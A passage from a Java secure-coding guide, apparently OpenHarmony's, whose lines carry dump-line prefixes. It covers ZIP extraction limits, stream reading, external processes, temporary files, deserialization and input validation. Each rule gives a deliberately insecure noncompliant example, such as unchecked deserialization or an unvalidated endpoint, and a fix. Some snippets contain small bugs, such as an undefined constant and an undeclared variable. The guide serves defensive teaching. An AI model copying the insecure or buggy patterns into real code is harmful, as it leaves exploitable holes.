487e41f4b71Sopenharmony_ciprivate static final long MAX_FILE_COUNT = 100L; 488e41f4b71Sopenharmony_ciprivate static final long MAX_TOTAL_FILE_SIZE = 1024L * 1024L; 489e41f4b71Sopenharmony_ci 490e41f4b71Sopenharmony_ci... 491e41f4b71Sopenharmony_ci 492e41f4b71Sopenharmony_cipublic void unzip(FileInputStream zipFileInputStream, String dir) throws IOException { 493e41f4b71Sopenharmony_ci long fileCount = 0; 494e41f4b71Sopenharmony_ci long totalFileSize = 0; 495e41f4b71Sopenharmony_ci 496e41f4b71Sopenharmony_ci try (ZipInputStream zis = new ZipInputStream(zipFileInputStream)) { 497e41f4b71Sopenharmony_ci ZipEntry entry; 498e41f4b71Sopenharmony_ci String entryName; 499e41f4b71Sopenharmony_ci String entryFilePath; 500e41f4b71Sopenharmony_ci File entryFile; 501e41f4b71Sopenharmony_ci byte[] buf = new byte[10240]; 502e41f4b71Sopenharmony_ci int length; 503e41f4b71Sopenharmony_ci 504e41f4b71Sopenharmony_ci while ((entry = zis.getNextEntry()) != null) { 505e41f4b71Sopenharmony_ci entryName = entry.getName(); 506e41f4b71Sopenharmony_ci entryFilePath = sanitizeFileName(entryName, dir); 507e41f4b71Sopenharmony_ci entryFile = new File(entryFilePath); 508e41f4b71Sopenharmony_ci 509e41f4b71Sopenharmony_ci if (entry.isDirectory()) { 510e41f4b71Sopenharmony_ci creatDir(entryFile); 511e41f4b71Sopenharmony_ci continue; 512e41f4b71Sopenharmony_ci } 513e41f4b71Sopenharmony_ci 514e41f4b71Sopenharmony_ci fileCount++; 515e41f4b71Sopenharmony_ci if (fileCount > MAX_FILE_COUNT) { 516e41f4b71Sopenharmony_ci throw new IOException("The ZIP package contains too many files."); 517e41f4b71Sopenharmony_ci } 518e41f4b71Sopenharmony_ci 519e41f4b71Sopenharmony_ci try (FileOutputStream fos = new FileOutputStream(entryFile)) { 520e41f4b71Sopenharmony_ci while ((length = zis.read(buf)) != -1) { 521e41f4b71Sopenharmony_ci totalFileSize += length; 522e41f4b71Sopenharmony_ci zipBombCheck(totalFileSize); 523e41f4b71Sopenharmony_ci fos.write(buf, 0, length); 524e41f4b71Sopenharmony_ci } 525e41f4b71Sopenharmony_ci } 526e41f4b71Sopenharmony_ci } 527e41f4b71Sopenharmony_ci } 528e41f4b71Sopenharmony_ci} 529e41f4b71Sopenharmony_ci 530e41f4b71Sopenharmony_ciprivate String sanitizeFileName(String fileName, String dir) throws IOException { 531e41f4b71Sopenharmony_ci file = new File(dir, fileName); 532e41f4b71Sopenharmony_ci String canonicalPath = file.getCanonicalPath(); 533e41f4b71Sopenharmony_ci if (canonicalPath.startsWith(dir)) { 534e41f4b71Sopenharmony_ci return canonicalPath; 535e41f4b71Sopenharmony_ci } 536e41f4b71Sopenharmony_ci throw new IOException("Path Traversal vulnerability: ..."); 537e41f4b71Sopenharmony_ci} 538e41f4b71Sopenharmony_ci 539e41f4b71Sopenharmony_ciprivate void creatDir(File dirPath) throws IOException { 540e41f4b71Sopenharmony_ci boolean result = dirPath.mkdirs(); 541e41f4b71Sopenharmony_ci if (!result) { 542e41f4b71Sopenharmony_ci throw new IOException("Create dir failed, path is : " + dirPath.getPath()); 543e41f4b71Sopenharmony_ci } 544e41f4b71Sopenharmony_ci ... 545e41f4b71Sopenharmony_ci} 546e41f4b71Sopenharmony_ci 547e41f4b71Sopenharmony_ciprivate void zipBombCheck(long totalFileSize) throws IOException { 548e41f4b71Sopenharmony_ci if (totalFileSize > MAX_TOTAL_FILE_SIZEG) { 549e41f4b71Sopenharmony_ci throw new IOException("Zip Bomb! The size of the file extracted from the ZIP package is too large."); 550e41f4b71Sopenharmony_ci } 551e41f4b71Sopenharmony_ci} 552e41f4b71Sopenharmony_ci``` 553e41f4b71Sopenharmony_ci 554e41f4b71Sopenharmony_ciThis compliant code example validates the name of each file before unzipping it. If a file name is invalid, the extraction is aborted. In fact, a compliant solution could also skip that file and continue the extraction process, or extract the file to a safe location. Furthermore, the code inside the while loop tracks the total size of extracted files and throws an exception if the total size hits the upper limit **MAX\_TOTAL\_FILE\_SIZE**. The code also counts the number of file entries in the ZIP archive and throws an exception if the total number of files hits the upper limit **MAX\_FILE\_COUNT**. 555e41f4b71Sopenharmony_ci 556e41f4b71Sopenharmony_ciNote: `entry.getSize()` reads the pre-decompression size of individual files from a fixed field, which may have been tampered with. Therefore, do not use `entry.getSize()` to collect statistics about the extracted file size. 557e41f4b71Sopenharmony_ci 558e41f4b71Sopenharmony_ci## Use integer return type of methods that read a character or byte from a stream 559e41f4b71Sopenharmony_ci 560e41f4b71Sopenharmony_ci**\[Description]** 561e41f4b71Sopenharmony_ci 562e41f4b71Sopenharmony_ciThe `InputStream.read()` and `Reader.read()` methods are used to read a byte or character, respectively, from a stream. 563e41f4b71Sopenharmony_ci 564e41f4b71Sopenharmony_ciThe `InputStream.read()` method reads a single byte from an input source and returns its value as an 8-bit integer in the range 0x00 to 0xff. The `Reader.read()` method reads a single character and returns its value as a 16-bit integer in the range 0x0000 to 0xffff. 565e41f4b71Sopenharmony_ci 566e41f4b71Sopenharmony_ciBoth methods return the 32-bit integer –1 (0xffffffff) to indicate that the end of the stream has been reached and no data is available. 567e41f4b71Sopenharmony_ci 568e41f4b71Sopenharmony_ciPrematurely converting the resulting integer to a **byte** or **char** before testing for the value −1 (0xffffffff) makes it impossible to distinguish between characters read and the end of stream indicator. 569e41f4b71Sopenharmony_ci 570e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (**byte**) 571e41f4b71Sopenharmony_ci 572e41f4b71Sopenharmony_ci```java 573e41f4b71Sopenharmony_ciFileInputStream in = getReadableStream(); 574e41f4b71Sopenharmony_ci 575e41f4b71Sopenharmony_cibyte data; 576e41f4b71Sopenharmony_ciwhile ((data = (byte) in.read()) != -1) { 577e41f4b71Sopenharmony_ci //Use data 578e41f4b71Sopenharmony_ci ... 579e41f4b71Sopenharmony_ci} 580e41f4b71Sopenharmony_ci``` 581e41f4b71Sopenharmony_ci 582e41f4b71Sopenharmony_ciThis noncompliant code example casts the value returned by the `read()` method directly to a value of the **byte** type and then compares this value with −1 in an attempt to detect the end of the stream. If the `read()` method returns 0xff which is then converted into a signed byte value –1, it will be incorrectly taken as the end of the stream. 583e41f4b71Sopenharmony_ci 584e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (**char**) 585e41f4b71Sopenharmony_ci 586e41f4b71Sopenharmony_ci```java 587e41f4b71Sopenharmony_ciInputStreamReader in = getReader(); 588e41f4b71Sopenharmony_ci 589e41f4b71Sopenharmony_cichar data; 590e41f4b71Sopenharmony_ciwhile ((data = (char) in.read()) != -1) { 591e41f4b71Sopenharmony_ci //Use data 592e41f4b71Sopenharmony_ci ... 593e41f4b71Sopenharmony_ci} 594e41f4b71Sopenharmony_ci``` 595e41f4b71Sopenharmony_ci 596e41f4b71Sopenharmony_ciThis noncompliant code example casts the value returned by the `read()` method directly to a value of the **char** type and then compares this value with −1 in an attempt to detect the end of the stream. When the end of stream is read, the return value cast to the **char** type is not −1. Consequently, the while loop cannot properly end. The reason is as follows: When the end of stream indicator –1 (0xffffffff) is forcibly converted to the **char** type, it will be converted to 0xffff, instead of –1. Consequently, the test for the end of file never evaluates to true. 597e41f4b71Sopenharmony_ci 598e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (**byte**) 599e41f4b71Sopenharmony_ci 600e41f4b71Sopenharmony_ci```java 601e41f4b71Sopenharmony_ciFileInputStream in = getReadableStream(); 602e41f4b71Sopenharmony_ci 603e41f4b71Sopenharmony_cibyte data; 604e41f4b71Sopenharmony_ciint result; 605e41f4b71Sopenharmony_ciwhile ((result = in.read()) != -1) { 606e41f4b71Sopenharmony_ci data = (byte) result; 607e41f4b71Sopenharmony_ci //Use data 608e41f4b71Sopenharmony_ci ... 609e41f4b71Sopenharmony_ci} 610e41f4b71Sopenharmony_ci``` 611e41f4b71Sopenharmony_ci 612e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (**char**) 613e41f4b71Sopenharmony_ci 614e41f4b71Sopenharmony_ci```java 615e41f4b71Sopenharmony_ciInputStreamReader in = getReader(); 616e41f4b71Sopenharmony_ci 617e41f4b71Sopenharmony_cichar data; 618e41f4b71Sopenharmony_ciint result; 619e41f4b71Sopenharmony_ciwhile ((result = in.read()) != -1) { 620e41f4b71Sopenharmony_ci data = (char) result; 621e41f4b71Sopenharmony_ci //Use data 622e41f4b71Sopenharmony_ci ... 623e41f4b71Sopenharmony_ci} 624e41f4b71Sopenharmony_ci``` 625e41f4b71Sopenharmony_ci 626e41f4b71Sopenharmony_ciThis compliant code example uses a variable of the **int** type to capture the value returned by `read()`, and uses the return value to determine whether the end of stream is read. If the end of stream is not read, the read content is converted to the **char** or **byte** type, so as to avoid misinterpretation of the end of stream. 627e41f4b71Sopenharmony_ci 628e41f4b71Sopenharmony_ci## Do not let external processes block on input and output streams 629e41f4b71Sopenharmony_ci 630e41f4b71Sopenharmony_ci**\[Description]** 631e41f4b71Sopenharmony_ci 632e41f4b71Sopenharmony_ciTwo methods can be used to invoke external processes: 633e41f4b71Sopenharmony_ci 634e41f4b71Sopenharmony_ci1. **exec()** of **java.lang.Runtime** 635e41f4b71Sopenharmony_ci2. **start()** of **java.lang.ProcessBuilder** 636e41f4b71Sopenharmony_ci 637e41f4b71Sopenharmony_ciThey all return a **java.lang.Process** object which has encapsulated the external processes. 638e41f4b71Sopenharmony_ci 639e41f4b71Sopenharmony_ciThis process contains an input stream, output stream, and error stream, which must be properly handled to prevent them from being blocked by external processes. 640e41f4b71Sopenharmony_ci 641e41f4b71Sopenharmony_ciIncorrect handling can cause unexpected exceptions, DoS, and other security problems. 642e41f4b71Sopenharmony_ci 643e41f4b71Sopenharmony_ci1\. Handling the input stream (`Process.getOutputStream()`) of an external process: **From the invoker's perspective, the input stream of an external process is its output stream**: A process that tries to read input on an empty input stream will block until input is supplied. 644e41f4b71Sopenharmony_ci 645e41f4b71Sopenharmony_ci2\. Handling the output stream (`Process.getInputStream()`) and error stream (`Process.getErrorStream()`) of an external process: If the external process to be invoked has both output and error streams and the streams are not emptied, the output of the process may exhaust the buffer of the output and error streams. Consequently, the external process is blocked, and the interaction between the invoker and external process is affected. When `java.lang.ProcessBuilder` is used to invoke an external process, the error stream of the process can be redirected to the output stream using the `redirectErrorStream()` method, and the invoker can empty the output stream so that the error stream is emptied together. 646e41f4b71Sopenharmony_ci 647e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (Incorrectly Handling the Return Result of an External Process) 648e41f4b71Sopenharmony_ci 649e41f4b71Sopenharmony_ci```java 650e41f4b71Sopenharmony_cipublic void execExtProcess() throws IOException { 651e41f4b71Sopenharmony_ci Process proc = Runtime.getRuntime().exec("ProcessMaybeStillRunning"); 652e41f4b71Sopenharmony_ci int exitVal = proc.exitValue(); 653e41f4b71Sopenharmony_ci} 654e41f4b71Sopenharmony_ci``` 655e41f4b71Sopenharmony_ci 656e41f4b71Sopenharmony_ciIn this noncompliant code example, the program invokes the `exitValue()` method when the ProcessMaybeStillRunning process has not terminated, which may result in an `IllegalThreadStateException`. 657e41f4b71Sopenharmony_ci 658e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (Failure to Handle the Output and Error Streams of an External Process) 659e41f4b71Sopenharmony_ci 660e41f4b71Sopenharmony_ci```java 661e41f4b71Sopenharmony_cipublic void execExtProcess() throws IOException, InterruptedException { 662e41f4b71Sopenharmony_ci Process proc = Runtime.getRuntime().exec("ProcessMaybeStillRunning"); 663e41f4b71Sopenharmony_ci int exitVal = proc.waitFor(); 664e41f4b71Sopenharmony_ci} 665e41f4b71Sopenharmony_ci``` 666e41f4b71Sopenharmony_ci 667e41f4b71Sopenharmony_ciDifferent from the previous example, this example will not result in an `IllegalThreadStateException`. However, the security problems described in the "Description" part may occur since the output and error streams of ProcessMaybeStillRunning are not handled. 668e41f4b71Sopenharmony_ci 669e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 670e41f4b71Sopenharmony_ci 671e41f4b71Sopenharmony_ci```java 672e41f4b71Sopenharmony_cipublic class ProcessExecutor { 673e41f4b71Sopenharmony_ci public void callExtProcess() throws IOException, InterruptedException { 674e41f4b71Sopenharmony_ci Process proc = Runtime.getRuntime().exec("ProcessHasOutput"); 675e41f4b71Sopenharmony_ci 676e41f4b71Sopenharmony_ci StreamConsumer errConsumer = new StreamConsumer(proc.getErrorStream()); 677e41f4b71Sopenharmony_ci StreamConsumer outputConsumer = new StreamConsumer(proc.getInputStream()); 678e41f4b71Sopenharmony_ci 679e41f4b71Sopenharmony_ci errConsumer.start(); 680e41f4b71Sopenharmony_ci outputConsumer.start(); 681e41f4b71Sopenharmony_ci 682e41f4b71Sopenharmony_ci int exitVal = proc.waitFor(); 683e41f4b71Sopenharmony_ci 684e41f4b71Sopenharmony_ci errConsumer.join(); 685e41f4b71Sopenharmony_ci outputConsumer.join(); 686e41f4b71Sopenharmony_ci } 687e41f4b71Sopenharmony_ci 688e41f4b71Sopenharmony_ci class StreamConsumer extends Thread { 689e41f4b71Sopenharmony_ci InputStream is; 690e41f4b71Sopenharmony_ci 691e41f4b71Sopenharmony_ci StreamConsumer(InputStream is) { 692e41f4b71Sopenharmony_ci this.is = is; 693e41f4b71Sopenharmony_ci } 694e41f4b71Sopenharmony_ci 695e41f4b71Sopenharmony_ci @Override 696e41f4b71Sopenharmony_ci public void run() { 697e41f4b71Sopenharmony_ci try { 698e41f4b71Sopenharmony_ci byte data; 699e41f4b71Sopenharmony_ci int result; 700e41f4b71Sopenharmony_ci while ((result = is.read()) != -1) { 701e41f4b71Sopenharmony_ci data = (byte) result; 702e41f4b71Sopenharmony_ci handleData(data); 703e41f4b71Sopenharmony_ci } 704e41f4b71Sopenharmony_ci } catch (IOException ex) { 705e41f4b71Sopenharmony_ci //Handle the exception 706e41f4b71Sopenharmony_ci } 707e41f4b71Sopenharmony_ci } 708e41f4b71Sopenharmony_ci 709e41f4b71Sopenharmony_ci private void handleData(byte data) { 710e41f4b71Sopenharmony_ci ... 711e41f4b71Sopenharmony_ci } 712e41f4b71Sopenharmony_ci } 713e41f4b71Sopenharmony_ci} 714e41f4b71Sopenharmony_ci``` 715e41f4b71Sopenharmony_ci 716e41f4b71Sopenharmony_ciThis compliant code example spawns two threads to read the output and error streams, so that the external process will not indefinitely block on the streams. 717e41f4b71Sopenharmony_ci 718e41f4b71Sopenharmony_ci**\[Exception]** 719e41f4b71Sopenharmony_ci 720e41f4b71Sopenharmony_ciExternal processes that do not use input, output, or error streams do not need stream handling. 721e41f4b71Sopenharmony_ci 722e41f4b71Sopenharmony_ci## Promptly remove temporary files after use 723e41f4b71Sopenharmony_ci 724e41f4b71Sopenharmony_ci**\[Description]** 725e41f4b71Sopenharmony_ci 726e41f4b71Sopenharmony_ciTemporary files can be used for many purposes, for example, sharing data between processes, caching memory data, and dynamically constructing class files and library files. They may be created in the shared temporary file directory of the operating system. Files in such a directory may be regularly cleaned up, for example, every night or at system restart. However, if the files are not securely created or are still accessible after fulfilling the intended purpose, an attacker who has access to the local file system can perform operations on the files in shared directories. Removing temporary files when they are no longer required allows file names and other resources (such as secondary storage) to be recycled. Each program is responsible for ensuring that temporary files are removed during normal operation. 727e41f4b71Sopenharmony_ci 728e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 729e41f4b71Sopenharmony_ci 730e41f4b71Sopenharmony_ci```java 731e41f4b71Sopenharmony_cipublic boolean uploadFile(InputStream in) throws IOException { 732e41f4b71Sopenharmony_ci File tempFile = File.createTempFile("tempname", ".tmp"); 733e41f4b71Sopenharmony_ci try (FileOutputStream fop = new FileOutputStream(tempFile)) { 734e41f4b71Sopenharmony_ci int readSize; 735e41f4b71Sopenharmony_ci do { 736e41f4b71Sopenharmony_ci readSize = in.read(buffer, 0, MAX_BUFF_SIZE); 737e41f4b71Sopenharmony_ci if (readSize > 0) { 738e41f4b71Sopenharmony_ci fop.write(buffer, 0, readSize); 739e41f4b71Sopenharmony_ci } 740e41f4b71Sopenharmony_ci } while (readSize >= 0); 741e41f4b71Sopenharmony_ci ... //Perform other operations on the temporary file 742e41f4b71Sopenharmony_ci } 743e41f4b71Sopenharmony_ci} 744e41f4b71Sopenharmony_ci``` 745e41f4b71Sopenharmony_ci 746e41f4b71Sopenharmony_ciIn this noncompliant code example, the temporary file is not removed upon completion. 747e41f4b71Sopenharmony_ci 748e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 749e41f4b71Sopenharmony_ci 750e41f4b71Sopenharmony_ci```java 751e41f4b71Sopenharmony_cipublic boolean uploadFile(InputStream in) throws IOException { 752e41f4b71Sopenharmony_ci File tempFile = File.createTempFile("tempname", ".tmp"); 753e41f4b71Sopenharmony_ci try (FileOutputStream fop = new FileOutputStream(tempFile)) { 754e41f4b71Sopenharmony_ci int readSize; 755e41f4b71Sopenharmony_ci do { 756e41f4b71Sopenharmony_ci readSize = in.read(buffer, 0, MAX_BUFF_SIZE); 757e41f4b71Sopenharmony_ci if (readSize > 0) { 758e41f4b71Sopenharmony_ci fop.write(buffer, 0, readSize); 759e41f4b71Sopenharmony_ci } 760e41f4b71Sopenharmony_ci } while (readSize >= 0); 761e41f4b71Sopenharmony_ci ... //Perform other operations on the temporary file 762e41f4b71Sopenharmony_ci } finally { 763e41f4b71Sopenharmony_ci if (!tempFile.delete()) { 764e41f4b71Sopenharmony_ci //Ignore 765e41f4b71Sopenharmony_ci } 766e41f4b71Sopenharmony_ci } 767e41f4b71Sopenharmony_ci} 768e41f4b71Sopenharmony_ci``` 769e41f4b71Sopenharmony_ci 770e41f4b71Sopenharmony_ciIn this compliant code example, the **finally** statement removes the temporary file after using it. 771e41f4b71Sopenharmony_ci 772e41f4b71Sopenharmony_ci# Serialization 773e41f4b71Sopenharmony_ci 774e41f4b71Sopenharmony_ci#### Do not deserialize external data directly 775e41f4b71Sopenharmony_ci 776e41f4b71Sopenharmony_ci**\[Description]** 777e41f4b71Sopenharmony_ci 778e41f4b71Sopenharmony_ciDeserialization is the process of deserializing a binary stream or string into a Java object. Deserializing external data can cause an attacker to construct a specified object, execute malicious code, inject malicious data into an application, or perform other malicious operations. Insecure deserialization can lead to attacks such as arbitrary code execution, privilege escalation, arbitrary file access, and DoS. 779e41f4b71Sopenharmony_ci 780e41f4b71Sopenharmony_ciThird-party components are usually used to serialize and deserialize data in JSON, XML, and YAML formats. Common third-party components include fastjson, jackson, XMLDecoder, XStream, and SnakeYmal. 781e41f4b71Sopenharmony_ci 782e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 783e41f4b71Sopenharmony_ci 784e41f4b71Sopenharmony_ci```java 785e41f4b71Sopenharmony_cipublic class DeserializeExample implements Serializable { 786e41f4b71Sopenharmony_ci private static final long serialVersionUID = -5809782578272943999L; 787e41f4b71Sopenharmony_ci 788e41f4b71Sopenharmony_ci private String name; 789e41f4b71Sopenharmony_ci 790e41f4b71Sopenharmony_ci public String getName() { 791e41f4b71Sopenharmony_ci return name; 792e41f4b71Sopenharmony_ci } 793e41f4b71Sopenharmony_ci 794e41f4b71Sopenharmony_ci public void setName(String name) { 795e41f4b71Sopenharmony_ci this.name = name; 796e41f4b71Sopenharmony_ci } 797e41f4b71Sopenharmony_ci 798e41f4b71Sopenharmony_ci private void readObject(java.io.ObjectInputStream ois) { 799e41f4b71Sopenharmony_ci ois.defaultReadObject(); 800e41f4b71Sopenharmony_ci System.out.println("Hack!"); 801e41f4b71Sopenharmony_ci } 802e41f4b71Sopenharmony_ci} 803e41f4b71Sopenharmony_ci 804e41f4b71Sopenharmony_ci //Deserialize external data 805e41f4b71Sopenharmony_ci ObjectInputStream ois2= new ObjectInputStream(fis); 806e41f4b71Sopenharmony_ci PersonInfo myPerson = (PersonInfo) ois2.readObject(); 807e41f4b71Sopenharmony_ci``` 808e41f4b71Sopenharmony_ci 809e41f4b71Sopenharmony_ciIn this noncompliant code example, when the object of the deserialization operation is the serialization result of the **DeserializeExample** object constructed by the attacker, an error will be reported when the `PersonInfo myPerson = (PersonInfo) ois2.readObject()` statement is executed, but the attack code in the `readObject()` method of the **DeserializeExample** object is executed. 810e41f4b71Sopenharmony_ci 811e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Trustlist Validation) 812e41f4b71Sopenharmony_ci 813e41f4b71Sopenharmony_ci```java 814e41f4b71Sopenharmony_cipublic final class SecureObjectInputStream extends ObjectInputStream { 815e41f4b71Sopenharmony_ci public SecureObjectInputStream() throws SecurityException, IOException { 816e41f4b71Sopenharmony_ci super(); 817e41f4b71Sopenharmony_ci } 818e41f4b71Sopenharmony_ci 819e41f4b71Sopenharmony_ci public SecureObjectInputStream(InputStream in) throws IOException { 820e41f4b71Sopenharmony_ci super(in); 821e41f4b71Sopenharmony_ci } 822e41f4b71Sopenharmony_ci 823e41f4b71Sopenharmony_ci protected Class<?> resolveClass(ObjectStreamClass desc) 824e41f4b71Sopenharmony_ci throws IOException, ClassNotFoundException { 825e41f4b71Sopenharmony_ci if (!desc.getName().equals("com.xxxx.PersonInfo")) {//Trustlist validation 826e41f4b71Sopenharmony_ci throw new ClassNotFoundException(desc.getName() + " not find"); 827e41f4b71Sopenharmony_ci } 828e41f4b71Sopenharmony_ci return super.resolveClass(desc); 829e41f4b71Sopenharmony_ci } 830e41f4b71Sopenharmony_ci} 831e41f4b71Sopenharmony_ci``` 832e41f4b71Sopenharmony_ci 833e41f4b71Sopenharmony_ciIn this compliant code example, trustlist validation is performed on the class to be deserialized by reloading the `resolveClass()` method in the customized **ObjectInputStream**. It throws an exception when the class name is not in the trustlist. 834e41f4b71Sopenharmony_ci 835e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Using Security Manager) 836e41f4b71Sopenharmony_ci 837e41f4b71Sopenharmony_ciIt is advised to use the Java security manager provided by the product wherever available. 838e41f4b71Sopenharmony_ci 839e41f4b71Sopenharmony_ci(1) Set **enableSubclassImplementation**. 840e41f4b71Sopenharmony_ci 841e41f4b71Sopenharmony_ci``` 842e41f4b71Sopenharmony_cipermission java.io.SerializablePermission "enableSubclassImplementation"; 843e41f4b71Sopenharmony_ci 844e41f4b71Sopenharmony_ci``` 845e41f4b71Sopenharmony_ci 846e41f4b71Sopenharmony_ci(2) Customize **ObjectInputStream** and reload **resolveClass**. 847e41f4b71Sopenharmony_ci 848e41f4b71Sopenharmony_ci```java 849e41f4b71Sopenharmony_cipublic final class HWObjectInputStream extends ObjectInputStream { 850e41f4b71Sopenharmony_ci public HWObjectInputStream() throws SecurityException, IOException { 851e41f4b71Sopenharmony_ci super(); 852e41f4b71Sopenharmony_ci } 853e41f4b71Sopenharmony_ci 854e41f4b71Sopenharmony_ci public HWObjectInputStream(InputStream in) throws IOException { 855e41f4b71Sopenharmony_ci super(in); 856e41f4b71Sopenharmony_ci } 857e41f4b71Sopenharmony_ci 858e41f4b71Sopenharmony_ci protected Class<?> resolveClass(ObjectStreamClass desc) 859e41f4b71Sopenharmony_ci throws IOException, ClassNotFoundException { 860e41f4b71Sopenharmony_ci SecurityManager sm = System.getSecurityManager(); 861e41f4b71Sopenharmony_ci if (sm != null) { 862e41f4b71Sopenharmony_ci sm.checkPermission(new SerializablePermission( 863e41f4b71Sopenharmony_ci "com.xxxx." + desc.getName())); 864e41f4b71Sopenharmony_ci } 865e41f4b71Sopenharmony_ci return super.resolveClass(desc); 866e41f4b71Sopenharmony_ci } 867e41f4b71Sopenharmony_ci} 868e41f4b71Sopenharmony_ci``` 869e41f4b71Sopenharmony_ci 870e41f4b71Sopenharmony_ci(3) Set a trustlist in the policy file. 871e41f4b71Sopenharmony_ci 872e41f4b71Sopenharmony_ci``` 873e41f4b71Sopenharmony_cipermission java.io.SerializablePermission "com.xxxx.PersonInfo"; 874e41f4b71Sopenharmony_ci 875e41f4b71Sopenharmony_ci``` 876e41f4b71Sopenharmony_ci 877e41f4b71Sopenharmony_ci# External Data Validation 878e41f4b71Sopenharmony_ci 879e41f4b71Sopenharmony_ci## Validate external data before using it 880e41f4b71Sopenharmony_ci 881e41f4b71Sopenharmony_ci**\[Description]** 882e41f4b71Sopenharmony_ci 883e41f4b71Sopenharmony_ciExternal data includes but is not limited to the network data, user input (including input in command lines and UIs), commands, files (including program configuration files), environment variables, and inter-process communication (including pipes, messages, shared memory, sockets, and RPCs), and cross-trust domain method parameters (for APIs). 884e41f4b71Sopenharmony_ci 885e41f4b71Sopenharmony_ciData outside the program is generally considered untrusted. Validation must be performed before using such data. Otherwise, incorrect calculation results, runtime exceptions, inconsistent object status, and injection attacks may occur, severely affecting the system. 886e41f4b71Sopenharmony_ci 887e41f4b71Sopenharmony_ci**External data validation includes:** 888e41f4b71Sopenharmony_ci 889e41f4b71Sopenharmony_ci- API parameter validation 890e41f4b71Sopenharmony_ci- Data length validation 891e41f4b71Sopenharmony_ci- Data range validation 892e41f4b71Sopenharmony_ci- Data type and format validation 893e41f4b71Sopenharmony_ci- Set size validation 894e41f4b71Sopenharmony_ci- Validation to ensure that external data only contains permitted characters (trustlist validation), with special attention to special characters in certain cases 895e41f4b71Sopenharmony_ci 896e41f4b71Sopenharmony_ciPay attention to the following points when validating external data: 897e41f4b71Sopenharmony_ci 898e41f4b71Sopenharmony_ci- Canonicalize external data before validation wherever necessary. For example, both **"\\uFE64"** and **\<** can represent **\<**. In web applications, if external input is not canonicalized, **"\\uFE64"** can be used to circumvent restrictions on **\<**. 899e41f4b71Sopenharmony_ci- Modifications to external data must be done before validation to ensure that the validated data is exactly the data to be used. 900e41f4b71Sopenharmony_ci 901e41f4b71Sopenharmony_ciFor performance and code simplicity, the provider validates only the request information for RESTful APIs, and the consumer validates only the response result. For a method in a call chain, the outermost external public method must be validated, and the internal public method does not need to be validated. 902e41f4b71Sopenharmony_ci 903e41f4b71Sopenharmony_ci**Common validation frameworks:** 904e41f4b71Sopenharmony_ci 905e41f4b71Sopenharmony_ciInterface: The JSR 380 (Bean Validation 2.0) and JSR 303 (Bean Validation 1.0) JavaBean parameter validation standards defines the core interface **javax.validation.Validator** and many common validation annotations. 906e41f4b71Sopenharmony_ciImplementation: hibernate-validator and Spring validator 907e41f4b71Sopenharmony_ci 908e41f4b71Sopenharmony_ci- hibernate-validator is an implementation of JSR 380 and JSR 303 standards, which extends annotations such as @Email, @Length, @NotEmpty, and @Range. 909e41f4b71Sopenharmony_ci- Spring validator is also an implementation of JSR 380 and JSR 303, and provides the **MethodValidationPostProcessor** class for validating methods. 910e41f4b71Sopenharmony_ci 911e41f4b71Sopenharmony_ciThe product can select a proper validation framework or develop one. 912e41f4b71Sopenharmony_ci 913e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 914e41f4b71Sopenharmony_ci 915e41f4b71Sopenharmony_ci```java 916e41f4b71Sopenharmony_ci/** 917e41f4b71Sopenharmony_ci * Change company information 918e41f4b71Sopenharmony_ci * 919e41f4b71Sopenharmony_ci * @param companies New and old company information 920e41f4b71Sopenharmony_ci * @return Whether the company information is changed successfully 921e41f4b71Sopenharmony_ci */ 922e41f4b71Sopenharmony_ci@RequestMapping(value = "/updating", method = RequestMethod.POST) 923e41f4b71Sopenharmony_cipublic boolean updateCompany(@RequestBody Companies companies) { 924e41f4b71Sopenharmony_ci return employeeService.updateCompany(companies.getSrcCompany(), 925e41f4b71Sopenharmony_ci companies.getDestCompany()); 926e41f4b71Sopenharmony_ci} 927e41f4b71Sopenharmony_ci``` 928e41f4b71Sopenharmony_ci 929e41f4b71Sopenharmony_ciIn this noncompliant code example, the `updateCompany()` interface opened by the provider fails to validate the request, which may lead to attacks. 930e41f4b71Sopenharmony_ci 931e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 932e41f4b71Sopenharmony_ci 933e41f4b71Sopenharmony_ci```java 934e41f4b71Sopenharmony_ci/** 935e41f4b71Sopenharmony_ci * Change company information 936e41f4b71Sopenharmony_ci * 937e41f4b71Sopenharmony_ci * @param companies New and old company information 938e41f4b71Sopenharmony_ci * @return Whether the company information is changed successfully 939e41f4b71Sopenharmony_ci */ 940e41f4b71Sopenharmony_ci@RequestMapping(value = "/updating", method = RequestMethod.POST) 941e41f4b71Sopenharmony_cipublic boolean updateCompany(@RequestBody @Valid @NotNull Companies companies) { 942e41f4b71Sopenharmony_ci return employeeService.updateCompany( 943e41f4b71Sopenharmony_ci companies.getSrcCompany(), companies.getDestCompany()); 944e41f4b71Sopenharmony_ci} 945e41f4b71Sopenharmony_ci 946e41f4b71Sopenharmony_ci@Setter 947e41f4b71Sopenharmony_ci@Getter 948e41f4b71Sopenharmony_cipublic class Companies { 949e41f4b71Sopenharmony_ci @Valid 950e41f4b71Sopenharmony_ci @NotNull 951e41f4b71Sopenharmony_ci private Company srcCompany; 952e41f4b71Sopenharmony_ci 953e41f4b71Sopenharmony_ci @Valid 954e41f4b71Sopenharmony_ci @NotNull 955e41f4b71Sopenharmony_ci private Company destCompany; 956e41f4b71Sopenharmony_ci} 957e41f4b71Sopenharmony_ci 958e41f4b71Sopenharmony_ci@Setter 959e41f4b71Sopenharmony_ci@Getter 960e41f4b71Sopenharmony_ci@Accessors(chain = true) 961e41f4b71Sopenharmony_cipublic class Company { 962e41f4b71Sopenharmony_ci @NotBlank 963e41f4b71Sopenharmony_ci @Size(min = 10, max = 256) 964e41f4b71Sopenharmony_ci private String name; 965e41f4b71Sopenharmony_ci 966e41f4b71Sopenharmony_ci @NotBlank 967e41f4b71Sopenharmony_ci @Size(min = 10, max = 512) 968e41f4b71Sopenharmony_ci private String address; 969e41f4b71Sopenharmony_ci 970e41f4b71Sopenharmony_ci @Valid 971e41f4b71Sopenharmony_ci private SubCompany subCompany; 972e41f4b71Sopenharmony_ci} 973e41f4b71Sopenharmony_ci``` 